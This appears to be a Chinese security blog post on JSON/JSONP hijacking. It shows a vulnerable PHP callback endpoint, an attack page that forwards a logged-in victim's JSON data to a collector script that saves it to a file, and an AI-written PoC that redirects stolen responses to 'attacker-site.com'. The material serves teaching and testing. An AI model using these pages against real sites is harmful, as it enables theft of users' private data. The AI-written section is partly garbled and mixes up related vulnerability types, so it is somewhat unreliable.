json劫持漏洞

JSON劫持是攻击者在用户认证状态下,通过拦截并篡改JSON数据来窃取敏感信息的一种攻击方式。测试过程包括寻找JSON类型页面,构造攻击页面,诱导用户访问以获取并转发数据。示例中展示了如何通过回调函数劫持数据并将其发送到攻击者的服务器。防范措施通常涉及改进数据传输和验证机制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

json劫持漏洞

JSON是一种轻量级的数据交换格式,劫持就对数据进行窃取。攻击者通过某些特定的手段。将本应返回已给用户的JSON数据进行拦截,转发给攻击者。一般劫持的JSON数据都是包含敏感信息或者有价值的数据

攻击方法与CSRF类似。需要用户登录账号,在身份是认证没有消除的情况下访问攻击者设计好的页面。进而获取JSON数据,并转发给攻击者。

测试方法

找到json类型的页面 -> 构建攻击页面 -> 诱导目标访问页面 -> 获取数据

//json.php
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
?>

劫持测试页面

<!-- json_test.html -->
<!DOCTYPE html>
<html lan="en">
    <head>
    <meta charset="UTF-8">
    <title>json劫持</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
    </head>
    <body>
        <script>function jsonp2(data){alert(JSON.stringify(data));}</script>
        <script src ="http://www.webtester.com/json.php?callback=jsonp2"></script>
    </body>
</html>

劫持json发送返回数据

<!-- json_attack.html -->
<!DOCTYPE html>
<html lan="en">
<head>
    <meta charset="UTF-8">
    <title>json劫持发送返回数据</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
    <script>
        function test(data){
            //alert(v.name);
            var xmlhttp = new XMLHttpRequest();
            var url = "http://127.0.0.1/json/1.php?file=" + JSON.stringify(data);
            xmlhttp.open("GET",url,true);
            xmlhttp.send();
            }
    </script>
    <script src ="http://www.webtester.com/json.php?callback=test"></script>
</head>
    <body>   
    </body>
</html>
//1.php
<?php
if($_GET['file']){
   file_put_contents('json.txt', $_GET['file']);
}
?>

访问json_atack.html劫持json数据传到1.php,保存到json.txt

### 如何检测和发现JSON中的安全漏洞 #### 1. JSON劫持漏洞的概念 JSON劫持是指攻击者通过某种手段获取并控制客户端请求的JSON数据,从而窃取敏感信息或执行其他恶意操作。这种漏洞通常发生在跨域资源共享(CORS)配置不当或者前端未正确处理返回的数据时[^1]。 #### 2. 测试JSON劫 hold 漏洞的方法 为了检测JSON相关的安全漏洞,可以通过以下几种方式进行测试: - **分析API接口的安全性** 需要仔细审查应用中暴露的API接口是否允许未经身份验证的访问。如果存在公开可读的JSON端点,则可能存在潜在的风险[^2]。 - **编写POC脚本** 使用简单的HTML文件模拟攻击场景,例如创建一个`json-poc.html`页面加载目标站点上的资源,并尝试将其重定向到外部服务器以捕获响应内容。这可以帮助确认是否存在跨站脚本注入(XSS)或者其他形式的数据泄露问题。 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSON POC</title> </head> <body> <script type="text/javascript"> function sendStolenData() { var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/json.php', true); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200){ document.location='http://attacker-site.com/?stolen='+encodeURIComponent(xhr.responseText); } }; xhr.send(null); } sendStolenData(); </script> </body> </html> ``` 上述代码片段展示了如何构建基本的PoC来检验某个URL是否会泄漏用户的私人资料给第三方网站。 - **利用工具自动化扫描** 市面上有许多专门针对Web应用程序缺陷设计的渗透测试软件,比如Burp Suite Pro、OWASP ZAP等都可以用来查找包括但不限于JSON解析错误在内的多种常见隐患[^5]。 #### 3. 关于FastJson漏洞特别说明 对于像阿里巴巴开源库Fastjson这样的序列化反序列化工具有其独特的脆弱之处——当启用自动型转换功能(`autoType`)的时候容易遭受远程命令执行(RCE),因此建议开发者始终遵循官方文档推荐的最佳实践关闭该选项除非绝对必要[^3]。 #### 4. JWT相关注意事项 尽管JWT本身并不构成直接威胁,但如果密钥管理不善则会引发严重的认证失败状况;另外还需警惕算法降级攻击(Algorithm Confusion Attack)[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_JINJI_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值